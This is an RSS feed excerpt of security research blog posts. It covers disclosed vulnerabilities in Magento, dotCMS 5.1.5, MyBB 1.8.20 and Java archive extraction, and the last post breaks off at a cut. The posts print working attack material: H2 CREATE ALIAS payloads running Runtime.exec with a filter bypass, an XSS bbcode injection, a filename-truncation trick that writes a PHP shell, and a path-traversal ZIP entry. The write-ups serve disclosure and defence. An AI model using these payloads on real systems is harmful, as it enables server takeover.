vulnerable for Phar deserialization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;vendor/magento/module-cms/Controller/Adminhtml/Wysiwyg/Directive.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;53    public function execute()
54    {
55       $directive = $this-&gt;getRequest()-&gt;getParam(&apos;___directive&apos;);
56        $directive = $this-&gt;urlDecoder-&gt;decode($directive);
57        ⋮
58        $image = $this-&gt;_objectManager-&gt;get(\Magento\Framework\Image\AdapterFactory::class)-&gt;create();
59        try {
60            $image-&gt;open($imagePath);
61        ⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By injecting a &lt;code&gt;phar://&lt;/code&gt; stream wrapper into an image file handler, an attacker can trigger a PHP object injection. He can then chain POP gadgets from the Magento core that in the end lead to Remote Code Execution.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/09/25&lt;/td&gt;&lt;td&gt;We report a Stored XSS vulnerability in Magento 2.2.6.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/11/28&lt;/td&gt;&lt;td&gt;Magento releases a patch for the Stored XSS vulnerability in 2.2.7 and 2.1.16.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/12/13&lt;/td&gt;&lt;td&gt;We report a bypass for the patch in Magento 2.3.0&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/01/11&lt;/td&gt;&lt;td&gt;We report the Phar Deserialization vulnerability to the Magento security team.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/01/26&lt;/td&gt;&lt;td&gt;We discover that the Stored XSS can be triggered by unauthenticated attackers on Magento stores with a certain configuration. We inform Magento.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/01/29&lt;/td&gt;&lt;td&gt;Magento verifies the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/03/26&lt;/td&gt;&lt;td&gt;Magento releases a security update and fixes the Phar Deserialization in Magento 2.3.1, 2.2.8 and 2.1.17. The Stored XSS vulnerability is not mentioned in the changelogs and no patch is available.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/04/09&lt;/td&gt;&lt;td&gt;Magento closes the ticket for the Stored XSS as &quot;Resolved&quot;.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/04/09&lt;/td&gt;&lt;td&gt;We ask Magento if this issue has been fixed, since no mention of it is in the changelogs and no modifications have been made to the escapeHTMLWithLinks() method.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/04/10&lt;/td&gt;&lt;td&gt;Magento reopens the ticket.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/06/25&lt;/td&gt;&lt;td&gt;A patch is made available in version 2.3.2, 2.2.9 and 2.1.18&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog post detailed how an unauthenticated Stored XSS vulnerability can be combined with an authenticated Phar Deserialization vulnerability to hijack Magento stores on a mass exploitable scale. The technical sections demonstrated that the exploitation of today’s security flaws often depends on multiple sanitization, logic and configuration flaws. We highly recommend all users to update to the latest Magento version.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/magento-rce-via-xss/&quot;&gt;LimeSurvey 2.72.3 - Persistent XSS to Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/magento-rce-via-xss/&quot;&gt;TYPO3 9.5.7: Overriding the Database to Execute Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/magento-rce-via-xss/&quot;&gt;MyBB &amp;lt;= 1.8.20: From Stored XSS to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/magento-rce-via-xss/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[dotCMS 5.1.5: Exploiting H2 SQL injection to RCE]]></title><description><![CDATA[In this blog post we will show how to exploit a SQL injection vulnerability (CVE-2019-12872) found by RIPS Code Analysis in the popular java-based content management system dotCMS and how we escalated it to execute code remotely.]]></description><link>https://www.sonarsource.com/blog/dotcms515-sqli-to-rce</link><guid isPermaLink="false">24771c0b-ab00-51bb-b098-1a3aaf6c1d0f</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Tue, 25 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The SQL injection vulnerability can be exploited as an unauthenticated attacker via CSRF or as a user of the role &lt;em&gt;Publisher&lt;/em&gt;. An attacker is able to execute stacked SQL queries which means it is possible to manipulate arbitrary database entries and even execute shell commands when the H2 database is used.&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;dotCMS has a feature called &lt;em&gt;Push Publishing&lt;/em&gt; which allows remotely publishing content from one server to another, e.g. from a test environment to a productive environment. Also, a user can add multiple contents to a bundle and push this bundle instead of pushing the content separately. An attacker can exploit this feature by pushing a bundle to the publishing queue and injecting SQL syntax.&lt;/p&gt;&lt;h3&gt;A classical SQL Injection&lt;/h3&gt;&lt;p&gt;The unpushed bundles can be viewed through the &lt;code&gt;view_unpushed_bundles.jsp&lt;/code&gt; file. The following code snippet shows the entry point for an attacker: the vulnerable function &lt;code&gt;deleteEndPointById()&lt;/code&gt; is called. As a prerequisite, an unpushed bundle needs to be present in the publishing queue because otherwise, the execution will not reach the function call in line 7. However, as a publisher, we can simply push a bundle to the queue. The unsanitized user input is received in line 6 through the HTTP GET or POST parameter &lt;em&gt;delEp&lt;/em&gt; that is passed to the function &lt;code&gt;deleteEndPointById()&lt;/code&gt; as argument &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;html/portlet/ext/contentlet/publishing/view_unpushed_bundles.jsp&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    ...
 2    &lt;%
 3    for(Bundle bundle : bundles){
 4        hasBundles=true;
 5        if(null!=request.getParameter(&quot;delEp&quot;)){
 6            String id = request.getParameter(&quot;delEp&quot;);
 7            pepAPI.deleteEndPointById(id);
 8        }
 9        ...
10    }
11    %&gt;
12    ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;deleteEndPointById()&lt;/code&gt; then calls the function &lt;code&gt;completeDiscardConflicts()&lt;/code&gt;. It passes along the unsanitzied user input as parameter &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;com.dotcms.publisher.endpoint.business.PublishingEndPointAPIImpl&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    public class PublishingEndPointAPIImpl implements PublishingEndPointAPI {
2
3        public void deleteEndPointById(String id) throws DotDataException {
4        ...
5            integrityUtil.completeDiscardConflicts(id);
6        ...
7        }
8    ...
9    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The trace can be followed to the function &lt;code&gt;discardConflicts()&lt;/code&gt; (see the following Listing) where the user input is concatenated into a &lt;code&gt;DELETE&lt;/code&gt; query via the parameter &lt;code&gt;endpointId&lt;/code&gt; in line 5. No input sanitization or prepared statement is used and an attacker can inject arbitrary SQL syntax into the existing SQL query.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;com.dotcms.integritycheckers.AbstractIntegrityChecker&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    private void discardConflicts(final String endpointId, IntegrityType type)
2        throws DotDataException {
3        ...
4        dc.executeStatement(&quot;delete from &quot; + resultsTableName + &quot; where endpoint_id = &apos;&quot;
5            + endpointId + &quot;&apos;&quot;);
6    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The following Listing shows the function &lt;code&gt;executeStatement()&lt;/code&gt; of the class &lt;code&gt;DotConnect&lt;/code&gt; where the tainted string &lt;code&gt;SQL&lt;/code&gt; is executed with &lt;code&gt;java.sql.Statement.execute&lt;/code&gt;. Interesting to mention is that this function allows the execution of stacked queries. This means we can successively execute arbitrary SQL commands. Unfortunately, we do not directly receive the output of the executed command. However, until here we can read the contents of the database through blind exploitation either time-based or error-based or manipulate arbitrary database entries.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;com.dotmarketing.common.db.DotConnect&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    public class DotConnect {
2
3        public boolean executeStatement(String sql) throws SQLException {
4            boolean ret = stmt.execute(sql);
5        }
6    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The initial JSP file that can be used to trigger the SQL injection is not protected by CSRF tokens. As a result, this SQL injection vulnerability can be exploited by an unauthenticated attacker if he tricks a publisher to visit an attacker-controlled website.&lt;/p&gt;&lt;h3&gt;Exploiting H2 SQL Injection&lt;/h3&gt;&lt;p&gt;DotCMS is shipped with the H2 database by default. After some research, we found out that H2 allows the&lt;a href=&quot;https://www.h2database.com/html/commands.html#create_alias&quot;&gt; definition of functions aliases&lt;/a&gt; and therefore the execution of Java code. The following listing shows a sample query that creates a function alias called &lt;code&gt;REVERSE&lt;/code&gt;. It contains our Java code payload. We can then call this alias with the &lt;code&gt;CALL&lt;/code&gt; statement and our Java payload is executed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;CREATE ALIAS REVERSE AS  
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$; 
CALL REVERSE(&apos;Test&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In order to achieve Remote Code Execution, an attacker could for example execute system commands via &lt;code&gt;java.lang.Runtime.exec()&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;CREATE ALIAS EXEC AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC(&apos;whoami&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, we were confronted with a last challenge. dotCMS has a URL filter that does not allow curly braces (&lt;code&gt;{}&lt;/code&gt; or URL encoded &lt;code&gt;%7b%7d&lt;/code&gt;) in the URL. We could successfully bypass this limitation as the &lt;code&gt;CREATE ALIAS&lt;/code&gt; directive expects a String as function source code. That means we do not need the &lt;code&gt;$&lt;/code&gt; signs and can use built-in SQL functions to encode our payload.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;CREATE ALIAS EXEC AS CONCAT(&apos;void e(String cmd) throws java.io.IOException&apos;,
HEXTORAW(&apos;007b&apos;),&apos;java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);&apos;,HEXTORAW(&apos;007d&apos;));
CALL EXEC(&apos;whoami&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/05/27&lt;/td&gt;&lt;td&gt;Vulnerability reported to dotCMS via security@dotcms.com&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/06/06&lt;/td&gt;&lt;td&gt;Vendor acknowledged vulnerability and addressed&amp;nbsp;issue&amp;nbsp;in release 5.1.6.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/06/06&lt;/td&gt;&lt;td&gt;Vendor published release 5.1.6.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, we analyzed a nested SQL injection vulnerability in dotCMS 5.1.5 which can be triggered through a JSP file. An attacker needs &lt;em&gt;Publisher&lt;/em&gt; permissions to create an unpushed bundle and can then inject arbitrary SQL commands. We found that it is possible to leverage the issue into Remote Code Execution if the dotCMS instance relies on the H2 database. However, if other databases are used Remote Code Execution might be still possible since the attacker can create a new admin user or overwrite serialized objects in the database which might allow code execution if being deserialized. We would like to thank the dotCMS security team for the professional communication and for the very fast resolution of the issue.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;Exploiting Hibernate Injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;Backend SQL Injection in BigTree CMS 4.4.6&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;Joomla! 3.8.3: Privilege Escalation via SQL Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;CubeCart 6.1.12 - Admin Authentication Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;Pre-Auth Takeover of OXID eShops&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/dotcms515-sqli-to-rce/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[MyBB <= 1.8.20: From Stored XSS to RCE]]></title><description><![CDATA[This blog post shows how an attacker can take over any board hosted with MyBB prior to version 1.8.21 by sending a malicious private message to an administrator or by creating a malicious post. We use a chain of two security vulnerabilities detected in the code.]]></description><link>https://www.sonarsource.com/blog/mybb-stored-xss-to-rce</link><guid isPermaLink="false">67a08aa8-ae0b-5781-8757-495fa0232441</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 11 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/VH6JNUrVmrg&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We discovered a Stored XSS vulnerability that occured due to a parsing error in posts and private messages in MyBB &lt;strong&gt;1.8.20 &lt;/strong&gt;and prior versions, as well as an authenticated Remote Code Execution vulnerability that can be exploited by administrators of a forum.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker merely needs a user account on a target forum to send an admin a private message containing malicious JavaScript code, which exploits the RCE vulnerability. This leads to a full remote take over of a target board by an attacker, as soon as as an administrator who is at the same time authenticated in the backend context opens the malicious PM. No further user interaction is required. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This gives an attacker full access to all user accounts, private threads and messages stored in the board’s database.&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;In the following, we analyze the security flaws that were partially detected with Static Code Analysis.&lt;/p&gt;&lt;h3&gt;Stored XSS through [video] bbcode&lt;/h3&gt;&lt;p&gt;MyBB has a 3 step process to parse and render threads, posts and private messages. This process’ purpose is to sanitize user input and render so called &lt;em&gt;mycodes&lt;/em&gt; or &lt;em&gt;bbcodes&lt;/em&gt;. Bbcodes are a simple way for forum users to embed for example images, links and videos in posts.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following graphic demonstrates the usual execution flow of the MyBB rendering process:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The process begins by simply escaping all HTML tags and double quotes. It will then convert all &lt;code&gt;[video]&lt;/code&gt; mycodes into &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; tags that embed videos from e.g. YouTube. The reason for video bbcodes being rendered in a single step is because they can be disabled by administrators (they are enabled by default). Finally, it will convert all other mycodes, such as &lt;code&gt;[url]&lt;/code&gt;, &lt;code&gt;[quote]&lt;/code&gt; and &lt;code&gt;[email]&lt;/code&gt; into HTML markup. &lt;br/&gt;The fact that &lt;code&gt;[video]&lt;/code&gt; bbcodes were converted to HTML markup in a different step than all other bbcodes lead to the idea that it might be possible to craft a &lt;code&gt;[video]&lt;/code&gt; bbcode that results in HTML markup that contains other shortcodes in it’s attributes, such as: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;iframe src=&amp;quot;youtube.com/xyz[url]http://onload=evilCode()[/url]&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The idea is that MyBB will then replace the &lt;code&gt;[url]&lt;/code&gt; bbcode within the iframe’s &lt;code&gt;src&lt;/code&gt; with more HTML markup containing double quotes (&lt;code&gt;&amp;quot;&lt;/code&gt;), thus corrupting the HTML and leading to an attribute injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The above example would then result in the following HTML markup after the third and final step of the processing:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;iframe src=&amp;quot;youtube.com/xyz&amp;lt;a href=&amp;quot;http://onload=evilCode()&amp;quot;&amp;gt;..&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As can be seen, the &lt;code&gt;src&lt;/code&gt; attribute of the iframe is then closed by the injected &lt;code&gt;href&lt;/code&gt; attribute and it’s quote. This now leads to the &lt;code&gt;onload&lt;/code&gt; event handler being injected into the &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; HTML tag.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Usually, it would not be possible to inject bbcodes within other bbcodes as regex filters are in place that prevent such attacks. However, the callback method that is reponsible for rendering &lt;code&gt;[video]&lt;/code&gt; bbcodes calls &lt;code&gt;urldecode()&lt;/code&gt; on the URL of the video that should be embedded (e.g. &lt;code&gt;youtube.com/xyz&lt;/code&gt;). This is shown in the following code snippet:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;inc/class_parser.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1385    function mycode_parse_video($video, $url)
1386    {
1387        global $templates;
1388 
1389        if(empty($video) || empty($url))
1390            return &quot;[video={$video}]{$url}[/video]&quot;;
1391 
1392        $parsed_url = @parse_url(urldecode($url));
1393     
1394        // [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The fact that the video URL is &lt;em&gt;urldecoded&lt;/em&gt; allows to bypass the regex protection and inject a &lt;code&gt;[url]&lt;/code&gt; bbcode as depicted above by URL encoding it. This then leads to an &lt;code&gt;onload&lt;/code&gt; event handler being injected into the &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; tag. This event handler triggers as soon as the page within the iframe is loaded, thus no user interaction is required to trigger malicious JavaScript code.&lt;/p&gt;&lt;h3&gt;RCE in Admin panel via File Write&lt;/h3&gt;&lt;p&gt;Administrators of a MyBB forum can manage stylesheets of the active theme of their installation within the Admin Panel. They can also create new stylesheet files on the server and choose the filename.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An obvious &lt;em&gt;File Write&lt;/em&gt; vulnerability would occur if an attacker in the role of an administrator account could simply create a new stylesheet file and call it for example &lt;code&gt;shell.php&lt;/code&gt;. However, a quick investigation of the source code behind this functionality revealed that only the &lt;code&gt;.css&lt;/code&gt; file extension was allowed:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;admin/inc/functions_themes.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;263    foreach($theme[&apos;stylesheets&apos;][&apos;stylesheet&apos;] as $stylesheet) {
264        if(substr($stylesheet[&apos;attributes&apos;][&apos;name&apos;], -4) != &quot;.css&quot;){
265           continue;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What captured our attention was what happened after the extension had been checked. Instead of simply creating the stylesheet file in the file system, MyBB first stores the name of the stylesheet file, as well as the contents in the MySQL database powering the board. When we looked at the &lt;code&gt;mybb_themestylesheets&lt;/code&gt; table and how it was structured, we noticed something interesting: the &lt;code&gt;name&lt;/code&gt; column which stores the filename of a newly imported stylesheet is defined as a &lt;code&gt;varchar&lt;/code&gt; column with a maximum of &lt;strong&gt;30 &lt;/strong&gt;characters.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Table definition of mybb_themestylesheets&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    MariaDB [mybb]&gt; DESC mybb_themestylesheets;
2    +--------------+----------------------+------+-----+---------+----------------+
3    | Field        | Type                 | Null | Key | Default | Extra          |
4    +--------------+----------------------+------+-----+---------+----------------+
5    | sid          | int(10) unsigned     | NO   | PRI | NULL    | auto_increment | 
6    | name         | varchar(30)          | NO   |     |         |                |
7      [...]
8    | stylesheet   | longtext             | NO   |     | NULL    |                |
9      [...]
10   +--------------+----------------------+------+-----+---------+----------------+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We then noticed that the length of a stylesheet filename is not checked when imported through an XML file, resulting in attackers being able to trick MyBB into inserting a filename with more than the allowed &lt;strong&gt;30&lt;/strong&gt; characters. MySQL’s default behavior on many systems is to then truncate the filename to &lt;strong&gt;30&lt;/strong&gt; characters.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker could abuse this behavior by setting a filename to for example &lt;code&gt;aaaaaaaaaaaaaaaaaaaaaaaaaa.php.css&lt;/code&gt;. This filename is &lt;strong&gt;34&lt;/strong&gt; characters long. Since it ends with the .css extension, it passes the security checks of MyBB. However, when that string is then inserted into the database, it is truncated to &lt;strong&gt;30&lt;/strong&gt; characters and only &lt;code&gt;aaaaaaaaaaaaaaaaaaaaaaaaaa.php&lt;/code&gt; remains stored in the database.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can then use the admin panel to generate the newly imported stylesheet files and write them to the file system. This would create a PHP shell within the cache directory.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/04/29&lt;/td&gt;&lt;td&gt;Reported multiple vulnerabilities privately to the MyBB team.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/04/29&lt;/td&gt;&lt;td&gt;MyBB acknowledges the vulnerabilies.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/06/10&lt;/td&gt;&lt;td&gt;MyBB releases version&amp;nbsp;1.8.21&amp;nbsp;which includes patches for the vulnerabilities.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;This blog post detailed an exploit chain that can be abused to take over any forum running MyBB prior to version &lt;strong&gt;1.8.21&lt;/strong&gt;. An attacker could have abused the XSS flaw to take over any forum account on a target forum or to directly try to create a shell on the target system via the File Write vulnerability by sending an administrator a private message on a target forum that contains malicious JavaScript code. Although MyBB has two seperate sessions for the front end and the backend session and an administrator might not always have an active backend session while reading the private message, an attacker can try multiple times, since no user interaction other than the targeted administrator opening the malicious private message is required.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/mybb-stored-xss-to-rce/&quot;&gt;LimeSurvey 2.72.3 - Persistent XSS to Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/mybb-stored-xss-to-rce/&quot;&gt;TYPO3 9.5.7: Overriding the Database to Execute Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/mybb-stored-xss-to-rce/&quot;&gt;Magento 2.3.1: Unauthenticated Stored XSS to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/mybb-stored-xss-to-rce/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[The Hidden Flaws of Archives in Java]]></title><description><![CDATA[Archives such as Zip, Tar, Jar or 7z are useful formats to collect and compress multiple files or directories in a container-like structure. However, the extraction of archives can introduce security risks which resulted in multiple critical vulnerabilities in popular applications in the past. In this post we explain the risk behind archive extraction and show how to securely extract archives in Java.]]></description><link>https://www.sonarsource.com/blog/the-hidden-flaws-of-archives-in-java</link><guid isPermaLink="false">b8306ce3-3f48-59ea-82df-d72aec2ee9c8</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Wed, 29 May 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The Risk of Archive Extraction&lt;/h2&gt;&lt;p&gt;Archives are often used to import data sets in web applications. Especially in Java, archives like &lt;em&gt;Jar&lt;/em&gt;, &lt;em&gt;War&lt;/em&gt; or &lt;em&gt;Apk&lt;/em&gt; are used to aggregate Java class files and resources into one single file. Vulnerabilities resulting from an insecure extraction of archives are already known for a long time. In 2018 Snyk disclosed multiple vulnerabilities affecting this issue in various software libraries under the name &lt;a href=&quot;https://snyk.io/research/zip-slip-vulnerability&quot;&gt;&lt;em&gt;Zip Slip&lt;/em&gt;&lt;/a&gt;. &lt;br/&gt;However, the problem still exists if developers decide to implement their own extraction functionalities. During the last months RIPS Code Analysis found similar issues in popular Java software which led to Remote Code Execution (&lt;a href=&quot;https://confluence.atlassian.com/bitbucketserver/bitbucket-server-security-advisory-2019-05-22-969526871.html&quot;&gt;CVE-2019-3397&lt;/a&gt;,&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12309&quot;&gt; CVE-2019-12309&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;The problem occurs if developers do not validate or sanitize the user input which is received out of an archive. An attacker can prepare a malicious ZIP file with the &lt;code&gt;../&lt;/code&gt; notation to traverse out of the intended directory and drop a malicious executable file. The following listing shows a malicious ZIP file entry.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Malicious ZIP file&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  Length      Date    Time    Name
 ---------  ---------- -----   ----
       133  2019-05-23 17:43   ../../../../../../../../../[WEBROOT_PATH]/zipslip.jsp&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we extract such a ZIP file using the following vulnerable code snippet, the JSP file &lt;code&gt;zipslip.jsp&lt;/code&gt; is not being extracted into &lt;code&gt;/my/target/directory/&lt;/code&gt; but instead dropped into the &lt;code&gt;[WEBROOT_PATH] &lt;/code&gt;directory of the web server. The function &lt;code&gt;extract&lt;/code&gt; iterates over all file entries which are part of the passed ZIP file. In this example, the user input is received from the method &lt;code&gt;ZipEntry.getName()&lt;/code&gt; and directly flows into the sensitive &lt;code&gt;sink java.io.File&lt;/code&gt; in line 11. At this point a file object is created with the parent directory &lt;code&gt;/my/target/directory/and the child directory ../../../../../../../../../[WEBROOT_PATH]/zipslip.jsp&lt;/code&gt; which resolves to &lt;code&gt;[WEBROOT_PATH]/zipslip.jsp&lt;/code&gt;. The file is then written to the file system in line 15.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Vulnerable Code Snippet&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    import java.util.zip.ZipFile;
